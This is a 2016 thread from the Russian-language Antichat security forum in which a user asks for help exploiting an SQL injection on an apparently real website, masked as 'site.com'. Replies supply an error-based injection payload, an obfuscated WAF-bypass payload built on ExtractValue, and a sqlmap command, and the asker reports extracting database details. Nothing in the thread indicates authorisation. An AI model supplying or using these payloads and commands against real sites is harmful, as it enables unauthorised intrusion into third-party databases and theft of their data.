HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.02.2016, 08:22
magichead
Guest
Сообщений: n/a
Провел на форуме:
1811

Репутация: 0
По умолчанию

Помогите расскрутить sql

Вид такой:

site.com/city/1'

Все перелазил ничего не нашел!


Код ошибки

1)Throwable_SQL_Exception [ 0 ]: Message: Failed to query SQL statement. Reason: Incorrect syntax near 'id' and Draft = 0'.

Код:
Code:
MODPATH/leap/classes/Base/DB/MsSQL/DataReader/Standard.php [ 48 ]

43      */
44     public function __construct(DB_Connection_Driver $connection, $sql, $mode = NULL) {
45         $resource = $connection->get_resource();
46         $command = @mssql_query($sql, $resource);
47         if ($command === FALSE) {
48             throw new Throwable_SQL_Exception('Message: Failed to query SQL statement. Reason: :reason', array(':reason' => @mssql_get_last_message()));
49         }
50         $this->command = $command;
51         $this->record = FALSE;
52     }
 
Ответить с цитированием

  #2  
Старый 10.02.2016, 10:02
OxoTnik
Guest
Сообщений: n/a
Провел на форуме:
290351

Репутация: 173
По умолчанию

Error dased
 
Ответить с цитированием

  #3  
Старый 10.02.2016, 10:48
magichead
Guest
Сообщений: n/a
Провел на форуме:
1811

Репутация: 0
По умолчанию

Цитата:
Сообщение от OxoTnik  
OxoTnik said:

Error dased
это как понять?

site.com/city/1' - не могу понять как сделать правельную sql типо .php?city=1'
 
Ответить с цитированием

  #4  
Старый 10.02.2016, 11:16
OxoTnik
Guest
Сообщений: n/a
Провел на форуме:
290351

Репутация: 173
По умолчанию

site.com/city/1'or(select*from(select(name_const(version(),1)),na me_const(version(),1))a)and(1)='1
 
Ответить с цитированием

  #5  
Старый 10.02.2016, 13:21
magichead
Guest
Сообщений: n/a
Провел на форуме:
1811

Репутация: 0
По умолчанию

Цитата:
Сообщение от OxoTnik  
OxoTnik said:

site.com/city/1
'or(select*from(select(name_const(version(),1)),na me_const(version(),1))a)and(1)='1
Перекидывает на 404

А можно в sqlmap какнибудь раскрутить?
 
Ответить с цитированием

  #6  
Старый 10.02.2016, 14:25
MaxFast
Guest
Сообщений: n/a
Провел на форуме:
178623

Репутация: 94
По умолчанию

Есть ещё один прекрасный вектор, который может сработать в твоей ситуации.

Код:
Code:
site.com/city/-1+/*!aNd*/+/*!ExTRaCtVaLuE*/(1,/*!CoNcAt*/(0x3a,(version()))+--+
Местный WAF всему виной.
 
Ответить с цитированием

  #7  
Старый 10.02.2016, 14:47
magichead
Guest
Сообщений: n/a
Провел на форуме:
1811

Репутация: 0
По умолчанию

Цитата:
Сообщение от OxoTnik  
OxoTnik said:

site.com/city/1
'or(select*from(select(name_const(version(),1)),na me_const(version(),1))a)and(1)='1
Перекидывает на 404

А можно в sqlmap какнибудь раскрутить?

Цитата:
Сообщение от MaxFast  
MaxFast said:

Есть ещё один прекрасный вектор, который может сработать в твоей ситуации.
Код:
Code:
site.com/city/-1+/*!aNd*/+/*!ExTRaCtVaLuE*/(1,/*!CoNcAt*/(0x3a,(version()))+--+
Местный WAF всему виной.
(((всерано перекидывает на 404
 
Ответить с цитированием

  #8  
Старый 10.02.2016, 16:11
Shubka75
Guest
Сообщений: n/a
Провел на форуме:
11851

Репутация: 30
По умолчанию

Цитата:
Сообщение от magichead  
magichead said:

А можно в sqlmap какнибудь раскрутить?
sqlmap.py -u "site.com/city/1*" --level=5 --random-agent
 
Ответить с цитированием

  #9  
Старый 10.02.2016, 21:31
magichead
Guest
Сообщений: n/a
Провел на форуме:
1811

Репутация: 0
По умолчанию

Цитата:
Сообщение от Shubka75  
Shubka75 said:

sqlmap.py -u "
site.com/city/1*
" --level=5 --random-agent
Спасибо!Расскрутил,но вот проблема с кодировкой!Пишет что база MSQL 2012,пишет что база найдена.Но в место имени выходит квадрат с четырьмя нулями.Как быть с этим?
 
Ответить с цитированием

  #10  
Старый 13.02.2016, 23:20
blackbox
Guest
Сообщений: n/a
Провел на форуме:
137056

Репутация: 11
По умолчанию

Цитата:
Сообщение от magichead  
magichead said:

Спасибо!Расскрутил,но вот проблема с кодировкой!Пишет что база MSQL 2012,пишет что база найдена.Но в место имени выходит квадрат с четырьмя нулями.Как быть с этим?
Можно посмотреть в лог-файле sqlmap, возможно консоль не поддерживает данную кодировку (какая бы она ни была), но это только предположение.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ